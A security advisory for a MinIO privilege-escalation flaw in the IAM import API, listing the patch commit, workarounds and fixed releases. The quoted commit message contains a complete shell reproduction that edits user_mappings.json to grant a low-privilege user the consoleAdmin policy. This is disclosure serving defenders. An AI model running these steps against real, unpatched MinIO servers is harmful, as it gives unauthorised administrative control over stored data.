MinIO vulnerable to privilege escalation in IAM import API

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <[email protected]>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)
    
    This API had missing permissions checking, allowing a user to change
    their policy mapping by:
    
    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
    
    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.
    
    Some more detailed steps - start from a fresh setup:
    
    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123
    
    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/
    
    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}

location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer https://github.com/minio/minio/pull/20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: linux/amd64

• https://dl.min.io/aistor/minio/release/linux-amd64/archive/minio.RELEASE.2024-12-13T13-42-41Z